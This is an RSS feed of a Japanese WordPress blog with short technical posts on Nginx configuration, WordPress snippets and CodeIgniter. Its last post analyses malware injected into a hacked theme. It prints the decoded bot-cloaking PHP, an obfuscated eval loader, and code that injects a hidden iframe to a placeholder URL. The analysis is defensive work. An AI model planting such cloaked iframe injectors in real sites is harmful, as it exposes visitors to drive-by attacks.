<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>メモとか</title>
	<atom:link href="http://wokamoto.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://wokamoto.wordpress.com</link>
	<description></description>
	<lastBuildDate>Wed, 22 Feb 2012 13:06:39 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='wokamoto.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>メモとか</title>
		<link>http://wokamoto.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://wokamoto.wordpress.com/osd.xml" title="メモとか" />
	<atom:link rel='hub' href='http://wokamoto.wordpress.com/?pushpress=hub'/>
		<item>
		<title>WPTouch Pro と Nginx リバースプロキシ</title>
		<link>http://wokamoto.wordpress.com/2012/02/22/wptouch-and-nginx-reverse-proxy/</link>
		<comments>http://wokamoto.wordpress.com/2012/02/22/wptouch-and-nginx-reverse-proxy/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 13:06:33 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[WordPress Tips]]></category>
		<category><![CDATA[Nginx]]></category>
		<category><![CDATA[WPTouch]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=292</guid>
		<description><![CDATA[WPTouch Pro がスマートフォン判定したら、expires 0 (PHP 5.3用)。 add_action( 'wptouch_pro_loaded', function(){ global $wptouch_pro; if ( $wptouch_pro-&#62;is_mobile_device ) { nocache_headers(); } }); または、nginx.conf 内で cookie で判別。 set $mobile ""; if ($http_user_agent ~* '(DoCoMo&#124;J-PHONE&#124;Vodafone&#124;MOT-&#124;UP\.Browser&#124;DDIPOCKET&#124;ASTEL&#124;PDXGW&#124;Palmscape&#124;Xiino&#124;sharp pda browser&#124;Windows CE&#124;L-mode&#124;WILLCOM&#124;SoftBank&#124;Semulator&#124;Vemulator&#124;J-EMULATOR&#124;emobile&#124;mixi-mobile-converter&#124;PSP)') { set $mobile "@ktai"; } if ($http_user_agent ~* '(iPhone&#124;iPod&#124;Opera Mini&#124;Android.*Mobile&#124;NetFront&#124;BlackBerry)') { set $mobile "@smartphone"; } if ($http_cookie ~* "wptouch(_switch_cookie=normal&#124;-pro-view=desktop)") { set $mobile [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=292&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>WPTouch Pro がスマートフォン判定したら、expires 0 (PHP 5.3用)。</p>
<pre><code>add_action( 'wptouch_pro_loaded', function(){
	global $wptouch_pro;
	if ( $wptouch_pro-&gt;is_mobile_device ) {
		nocache_headers();
	}
});</code></pre>
<p>または、nginx.conf 内で cookie で判別。</p>
<pre><code>set $mobile "";
if ($http_user_agent ~* '(DoCoMo|J-PHONE|Vodafone|MOT-|UP\.Browser|DDIPOCKET|ASTEL|PDXGW|Palmscape|Xiino|sharp pda browser|Windows CE|L-mode|WILLCOM|SoftBank|Semulator|Vemulator|J-EMULATOR|emobile|mixi-mobile-converter|PSP)') {
    set $mobile "@ktai";
}
if ($http_user_agent ~* '(iPhone|iPod|Opera Mini|Android.*Mobile|NetFront|BlackBerry)') {
    set $mobile "@smartphone";
}
if ($http_cookie ~* "wptouch(_switch_cookie=normal|-pro-view=desktop)") {
    set $mobile "@smartphone.off";
}</code></pre>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/nginx/'>Nginx</a>, <a href='http://wokamoto.wordpress.com/tag/wptouch/'>WPTouch</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/292/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=292&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/02/22/wptouch-and-nginx-reverse-proxy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
		<item>
		<title>WordPressでプラグインなしで画像にパスワードをかける</title>
		<link>http://wokamoto.wordpress.com/2012/02/10/protected-image-without-wordpress-plugins/</link>
		<comments>http://wokamoto.wordpress.com/2012/02/10/protected-image-without-wordpress-plugins/#comments</comments>
		<pubDate>Fri, 10 Feb 2012 11:39:46 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[メモ]]></category>
		<category><![CDATA[Nginx]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=287</guid>
		<description><![CDATA[試してないのですが、以下のように.htaccessで制御する記事を海外のブログで見つけたので、メモがわりに書いておきます。 この方法を使用するとプラグインを使わなくてもアップロードファイルにパスワード保護をかけられるので、SNS系のシステムなどを構築するのに便利かもしれません。 via. WordPressでプラグインなしで画像にパスワードをかける &#124; firegoby Nginx でやるなら、こんな感じ。 location ~ /wp-content/uploads/.* { if ($http_cookie !~ "wordpress_logged_in") { rewrite .*$ /wp-login.php?redirect_to=$uri permanent; } } 厳密にはログインしてるかどうかは見てないので注意が必要ですよ。 Tagged: Nginx, WordPress<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=287&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<blockquote><p>試してないのですが、以下のように.htaccessで制御する記事を海外のブログで見つけたので、メモがわりに書いておきます。</p>
<p>この方法を使用するとプラグインを使わなくてもアップロードファイルにパスワード保護をかけられるので、SNS系のシステムなどを構築するのに便利かもしれません。</p>
<p><cite>via. <a href="http://firegoby.theta.ne.jp/archives/2381" title="WordPressでプラグインなしで画像にパスワードをかける | firegoby">WordPressでプラグインなしで画像にパスワードをかける | firegoby</a></cite></p></blockquote>
<p>Nginx でやるなら、こんな感じ。</p>
<pre><code>location ~ /wp-content/uploads/.* {
    if ($http_cookie !~ "wordpress_logged_in") {
        rewrite .*$ /wp-login.php?redirect_to=$uri permanent;
    }
}</code></pre>
<p>厳密にはログインしてるかどうかは見てないので注意が必要ですよ。</p>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/nginx/'>Nginx</a>, <a href='http://wokamoto.wordpress.com/tag/wordpress/'>WordPress</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/287/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/287/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/287/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=287&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/02/10/protected-image-without-wordpress-plugins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
		<item>
		<title>Re: 【ノンデザイナー向け】 WordPress で今風なページトップを超簡単に設置する方法</title>
		<link>http://wokamoto.wordpress.com/2012/02/08/wordpress-add-scroll-to-top/</link>
		<comments>http://wokamoto.wordpress.com/2012/02/08/wordpress-add-scroll-to-top/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 05:32:23 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[勝手に添削]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[scroll to top]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=276</guid>
		<description><![CDATA[2011年くらいから、 ページをスクロールすると、フワっと表示されるページトップ（クリックするとページの一番上にいくやつ）が 流行ってますよね！　超簡単にコピペするだけで作れるソース作ったので、公開します！ via. 【ノンデザイナー向け】Wordpressで今風なページトップを超簡単に設置する方法 &#124; しらさかブログ 僕が WordPress に実装するなら、こうかな？ 以下を functions.php に追加。 // テーマの head 部で jQuery を読み込む add_action('wp_print_scripts', 'add_print_scripts_jquery'); function add_print_scripts_jquery() { wp_enqueue_script('jquery'); } // Scroll to Top 用のスタイルを head 部に追加 add_action('wp_head', 'add_scroll_to_top_style'); function add_scroll_to_top_style() { ?&#62; &#60;style type="text/css"&#62; #pagetop { display:none;position:fixed;right:10px;bottom:10px;z-index:100; } #pagetop a { padding:5px;background:#ccc;color:#fff;display:block;font-size:20px;font-weight:bold;-webkit-border-radius:8px;-moz-border-radius:8px;border-radius:8px; } &#60;/style&#62; &#60;?php } // Scroll [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=276&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<blockquote><p>2011年くらいから、<br />
ページをスクロールすると、フワっと表示されるページトップ（クリックするとページの一番上にいくやつ）が<br />
流行ってますよね！　超簡単にコピペするだけで作れるソース作ったので、公開します！</p>
<p><cite>via. <a href="http://shirasaka.tv/3744" title="【ノンデザイナー向け】Wordpressで今風なページトップを超簡単に設置する方法 | しらさかブログ">【ノンデザイナー向け】Wordpressで今風なページトップを超簡単に設置する方法 | しらさかブログ</a></cite>
</p></blockquote>
<p>僕が WordPress に実装するなら、こうかな？<br />
以下を functions.php に追加。</p>
<pre><code>// テーマの head 部で jQuery を読み込む
add_action('wp_print_scripts', 'add_print_scripts_jquery');
function add_print_scripts_jquery() {
    wp_enqueue_script('jquery');
}

// Scroll to Top 用のスタイルを head 部に追加
add_action('wp_head', 'add_scroll_to_top_style');
function add_scroll_to_top_style() {
    ?&gt;
&lt;style type="text/css"&gt;
#pagetop { display:none;position:fixed;right:10px;bottom:10px;z-index:100; }
#pagetop a { padding:5px;background:#ccc;color:#fff;display:block;font-size:20px;font-weight:bold;-webkit-border-radius:8px;-moz-border-radius:8px;border-radius:8px; }
&lt;/style&gt;
    &lt;?php
}

// Scroll to Top 用の JavaScript をフッター部に追加
add_action('wp_footer', 'add_scroll_to_top');
function add_scroll_to_top() {
    ?&gt;
&lt;script type="text/javascript"&gt;
jQuery(function($){
    $('body').append(
        $('&lt;div id="pagetop"&gt;')
        .append(
            $('&lt;a href="#"&gt;↑&lt;/a&gt;')
            .click(function(){$('html,body').animate({scrollTop:0}, 800, 'swing')})
            )
        );
    $(window).scroll(function () {
        if ($(this).scrollTop() &gt; 100) {
            $('#pagetop').fadeIn();
        } else {
            $('#pagetop').fadeOut();
        }
    });
});
&lt;/script&gt;
    &lt;?php
}</code></pre>
<p>本当は、css とか JavaScript とかは別ファイルにして外出ししたほうが良いと思うけど、まぁ簡単にコピペでできるってことで。</p>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/javascript/'>JavaScript</a>, <a href='http://wokamoto.wordpress.com/tag/jquery/'>jQuery</a>, <a href='http://wokamoto.wordpress.com/tag/scroll-to-top/'>scroll to top</a>, <a href='http://wokamoto.wordpress.com/tag/wordpress/'>WordPress</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/276/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/276/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/276/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/276/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/276/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/276/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/276/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/276/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/276/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/276/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/276/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/276/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/276/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/276/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=276&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/02/08/wordpress-add-scroll-to-top/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
		<item>
		<title>Nginx の SSI (virtual)では相対パス指定ができない</title>
		<link>http://wokamoto.wordpress.com/2012/02/02/relative-paths-is-not-usable-by-the-ssi-of-nginx/</link>
		<comments>http://wokamoto.wordpress.com/2012/02/02/relative-paths-is-not-usable-by-the-ssi-of-nginx/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 08:47:25 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[メモ]]></category>
		<category><![CDATA[Nginx]]></category>
		<category><![CDATA[SSI]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=273</guid>
		<description><![CDATA[こんなエラーが出る。 [an error occurred while processing the directive] 絶対パスで指定すれば大丈夫。 &#60;!--#include virtual="/hoge/fuga.html"--&#62; Tagged: Nginx, SSI<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=273&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>こんなエラーが出る。</p>
<pre><code>[an error occurred while processing the directive]</code></pre>
<p>絶対パスで指定すれば大丈夫。</p>
<pre><code>&lt;!--#include virtual="/hoge/fuga.html"--&gt;</code></pre>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/nginx/'>Nginx</a>, <a href='http://wokamoto.wordpress.com/tag/ssi/'>SSI</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/273/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/273/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/273/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/273/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/273/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/273/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/273/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/273/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/273/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/273/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/273/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/273/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/273/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/273/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=273&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/02/02/relative-paths-is-not-usable-by-the-ssi-of-nginx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
		<item>
		<title>Nginx で CodeIgniter を動かす</title>
		<link>http://wokamoto.wordpress.com/2012/01/26/codeigniter-nginx-rewrite-rules/</link>
		<comments>http://wokamoto.wordpress.com/2012/01/26/codeigniter-nginx-rewrite-rules/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 00:55:40 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[メモ]]></category>
		<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[Nginx]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=270</guid>
		<description><![CDATA[server { listen 80; server_name _; root /path/to/codeigniter; index index.php index.html index.htm; charset utf-8; location / { if (-f $request_filename) { expires 30d; break; } if (!-e $request_filename) { rewrite ^(.*)$ /index.php?q=$1 last; } } location ~ application/.* { deny all; } location ~ system/.* { deny all; } location ~ /\.ht { deny all; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=270&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre><code>server {
	listen 80;
	server_name _;
	root /path/to/codeigniter;
	index  index.php index.html index.htm;
	charset utf-8;

	location / {
		if (-f $request_filename) {
			expires 30d;
			break;
		}
		if (!-e $request_filename) {
			rewrite ^(.*)$ /index.php?q=$1 last;
		}
	}

	location ~ application/.* { deny all; }
	location ~ system/.* { deny all; }
	location ~ /\.ht { deny all; }

	location ~ \.php$ {
		fastcgi_pass   127.0.0.1:9000;
		fastcgi_index  index.php;
		fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
		fastcgi_intercept_errors on;
		include        fastcgi_params;
	}
}</code></pre>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/codeigniter/'>CodeIgniter</a>, <a href='http://wokamoto.wordpress.com/tag/nginx/'>Nginx</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/270/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=270&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wokamoto.wordpress.com/2012/01/26/codeigniter-nginx-rewrite-rules/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dcb59d93becf053e1a8bd844ea0417c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">wokamoto</media:title>
		</media:content>
	</item>
		<item>
		<title>改ざんされたサイトに埋め込まれたマルウェアコードの解析</title>
		<link>http://wokamoto.wordpress.com/2012/01/24/malware-analyze/</link>
		<comments>http://wokamoto.wordpress.com/2012/01/24/malware-analyze/#comments</comments>
		<pubDate>Tue, 24 Jan 2012 06:56:52 +0000</pubDate>
		<dc:creator>wokamoto</dc:creator>
				<category><![CDATA[フォーラムで答えた]]></category>
		<category><![CDATA[Malware analyze]]></category>

		<guid isPermaLink="false">http://wokamoto.wordpress.com/?p=259</guid>
		<description><![CDATA[先日来より（数ヶ月前）、テーマのindex.phpのヘッダー部分が以下のように書き換えられてしまい、正常に表示されません。 どのように対処するればよろしいのでしょうか？ &#60;?php eval(base64_decode(&#8216;ZXJyb3&#8230;&#8217;)); get_header(); ?&#62; via. WordPress &#62; フォーラム » テーマのindex.phpが書き換えられる（クラッキングされてしまう） 改ざんされてマルウェアコードを埋め込まれる事例があとを絶たないすね。 このコードを base64_decode してみると ※base64_encode されてる部分と $botsUA は省略してます。 $bot = FALSE ; $ua = $_SERVER['HTTP_USER_AGENT']; $botsUA = array( '12345', 'alexa.com', 'anonymouse.org', ： ); foreach ($botsUA as $bs) { if(strpos(strtolower($ua), $bs)!== false){ $bot = true; break; } } if (!$bot){ echo(base64_decode('PHNjcmlw...')); } で、さらに base64_decode [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=259&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<blockquote><p>先日来より（数ヶ月前）、テーマのindex.phpのヘッダー部分が以下のように書き換えられてしまい、正常に表示されません。</p>
<p>どのように対処するればよろしいのでしょうか？<br />
&lt;?php eval(base64_decode(&#8216;ZXJyb3&#8230;&#8217;)); get_header(); ?&gt;</p>
<p><cite>via. <a href="http://ja.forums.wordpress.org/topic/8839?replies=2#post-34767" title="WordPress &gt; フォーラム » テーマのindex.phpが書き換えられる（クラッキングされてしまう）">WordPress &gt; フォーラム » テーマのindex.phpが書き換えられる（クラッキングされてしまう）</a></cite></p></blockquote>
<p>改ざんされてマルウェアコードを埋め込まれる事例があとを絶たないすね。</p>
<p>このコードを base64_decode してみると<br />
※base64_encode されてる部分と $botsUA は省略してます。</p>
<pre><code>$bot = FALSE ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$botsUA = array(
	'12345',
	'alexa.com',
	'anonymouse.org',
	：
);
foreach ($botsUA as $bs) {
	if(strpos(strtolower($ua), $bs)!== false){
		$bot = true;
		break;
	}
}
if (!$bot){
        echo(base64_decode('PHNjcmlw...'));
}</code></pre>
<p>で、さらに base64_decode<br />
※ f[] の中身は省略してます</p>
<pre><code>&lt;script&gt;
if(window.document)
	a=("urf3".split+'tv32hjtkln').substr(0,6);
aa=(Date+{}).substr(0,6);
if(a===aa)
	f=[-28,-28,68,65,...];
md='a'; q="q";
e=window.eval;
w=f; s='';
g='fro'+'mCharCod'+'e';
for(i=0;i&lt;w.length;i++){
	s=s+String[g](37+w[i]);
}
if(a===aa)
	e(&#039;e(s)&#039;);
&lt;/script&gt;</code></pre>
<p>で最終的に e(&#8216;e(s)&#8217;) の所で、こんな JavaScript を呼び出してます。<br />
※ iframe 内の URL は置き換えてあります。</p>
<pre><code>if (document.getElementsByTagName('body')[0]){
	iframer();
} else {
	document.write("&lt; iframe src='http://example.com/i/i.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'&gt;&lt;/iframe&gt;");
}
function iframer(){
	var f = document.createElement('iframe');
	f.setAttribute('src','http://example.com/i/i.php?go=1');
	f.style.visibility='hidden';
	f.style.position='absolute';
	f.style.left='0';
	f.style.top='0';
	f.setAttribute('width','10');
	f.setAttribute('height','10');
	document.getElementsByTagName('body')[0].appendChild(f);
}</code></pre>
<p>不可視の iframe タグを埋め込んでるんですね。</p>
<br /> Tagged: <a href='http://wokamoto.wordpress.com/tag/malware-analyze/'>Malware analyze</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wokamoto.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wokamoto.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wokamoto.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wokamoto.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wokamoto.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wokamoto.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wokamoto.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wokamoto.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wokamoto.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wokamoto.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wokamoto.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wokamoto.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wokamoto.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wokamoto.wordpress.com/259/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wokamoto.wordpress.com&amp;blog=4184686&amp;post=259&amp;subd=wokamoto&amp;ref=&amp;feed=1" width="1" height="1" 